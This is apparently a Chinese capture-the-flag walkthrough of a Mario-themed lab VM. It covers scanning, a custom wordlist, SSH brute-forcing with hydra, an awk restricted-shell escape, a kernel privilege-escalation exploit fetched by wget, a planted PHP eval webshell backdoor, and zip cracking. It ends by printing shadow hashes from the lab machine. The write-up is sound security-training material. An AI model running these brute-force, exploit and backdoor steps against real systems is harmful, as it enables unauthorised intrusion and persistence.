靶机下载地址 提取码:a8ox
一、信息搜集
1.搜索靶机与攻击机的IP地址
1 | root@kali:~# arp-scan -l |
1
2靶机:192.168.189.145
攻击机:192.168.189.129
2.nmap查看靶机开放端口
1 | root@kali:~# nmap 192.168.189.145 |
为了更直观的查看端口对应的版本号信息,使用-sV1
root@kali:~# nmap -sV 192.168.189.145
3.网站指纹信息扫描(whatweb)
1 | root@kali:~# whatweb http://192.168.189.145:8180 |
二、web渗透
web端扫描
1.发现开启22端口与8180web端口,尝试访问http://192.168.189.145:8180
下图为主页面与页面源代码,均没有任何的信息
2.通过目录扫描搜索真网站(dirb)
1 | root@kali:~# cd /usr/share/dirb/wordlists/ |
3.查看到http://192.168.189.145:8180/vhosts ,网站的返回为200,查看网站登录内容
1
2
3
4
5靶机服务器名称(mario.supermariohost.local)
服务器的管理员(webmaster@localhost)
网站根路径(/var/www/supermariohost)
目录索引(mario.php)
若访问http://mario.supermariohost.local:8180,服务器将从/var/www/supermariohost目录中提供文件来服务mario.php
4.登录http://mario.supermariohost.local:8180
登录显示如下图所示,找不到网站
5.修改hosts文件
1 | C:\Windows\System32\drivers\etc\hosts |
继续访问http://mario.supermariohost.local:8180 ,发现是一个游戏
目录扫描
1.尝试爆破后台目录(御剑)
2.访问/luigi.php(/mario.php)(/command.php)
发现luigi的一封信,其内容可用于创造字典(Luigi、luigi、Luiiiggiii、luiiiggiii)list.txt
与网页首页相同,发现一段话,可用于创造字典(Mario、mario、Maaaaario)list.txt
使用luigi发现存在此username
SSH爆破
1.直接创造文件生成字典(john)
1 | leafpad list.txt |
list.txt的内容如下图所示
再用john在该list.txt的基础上生成相应社工密码进行爆破1
john --wordlist=list.txt --stdout --rules > pass.txt
2.暴力破解(hydra)
1 | hydra -L list.txt -P pass.txt ssh://192.168.189.145 |
报错的原因是因为没有安装ssh模块,但实际上是安装了,重新启动了一下ssh,发现可以成功爆破1
/etc/init.d/ssh restart
3.使用ssh登录(luigi/luigi1)
1 | root@kali:~# ssh luigi@192.168.189.145 |
4.登录成功后拿shell,但是限制了shell的交互
三、绕过提权
1.查看所有命令(?)
2.突破权限(awk)
1 | awk 'BEGIN{system("/bin/bash")}' |
3.扫描服务器版本(searchsploit)
1 | root@kali:~# searchsploit 3.13 |
4.获取提权文件(wget)
注:一定要讲提权文件37292.c放在kali的/var/www/html中,Apache服务要开起来
5.执行提权文件,提权
1 | 编译.c文件:gcc 37292.c -o exp |
6.查看权限与当前路径
7.留后门
1 | echo '<?php @eval($_POST[cmd]);?>' > index.php |
8.用Python切shell
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
进入root目录,发现存在一个flag.zip文件
解压该zip文件,发现是一个有密码的文件
9.wget到kali爆破
10.爆破zip密码(fcrackzip)
1 | fcrackzip -b -D -p rockyou.txt -u flag.zip |
11.解压zip文件(unzip)
1 | unzip flag.zip |
查看flag内容如下
靶机作者的用意是要拿到靶机上所用用户的明文密码,在靶机中,查看 etc下的shadow
存在的用户名如下所示1
2
3root:$6$ZmdseK46$FTvRqEZXdr3DCX2Vd6CXWmWAOJYIjcAI6XQathO3/wgvHEoyeP6DwL3NHZy903HXQ/F2uXiTXrhETX19/txbA1:17248:0:99999:7:::
mario:$6$WG.vWiw8$OhoMhuAHSqPYTu1wCEWNc4xoUyX6U/TrLlK.xyhRKZB3SyCtxMDSoQ6vioNvpNOu78kQVTbwTcHPQMIDM2CSJ.:17248:0:99999:7:::
luigi:$6$kAYr2OVy$1qBRKJIWqkpNohmMIP3r3H3yPDQ9UfUBcO4pahlXf6QfnqgW/XpKYlQD4jN6Cfn.3wKCWoM7gPbdIbnShFJD40:17233:0:99999:7:::
总结
1、在发现web端没有线索的时候,爬取相应的信息作为ssh爆破的用户名
2、进入shell后发现shell被限制了,可以进行提权绕过
3、对靶机服务器版本进行扫描,有可能获取版本漏洞,从而加以利用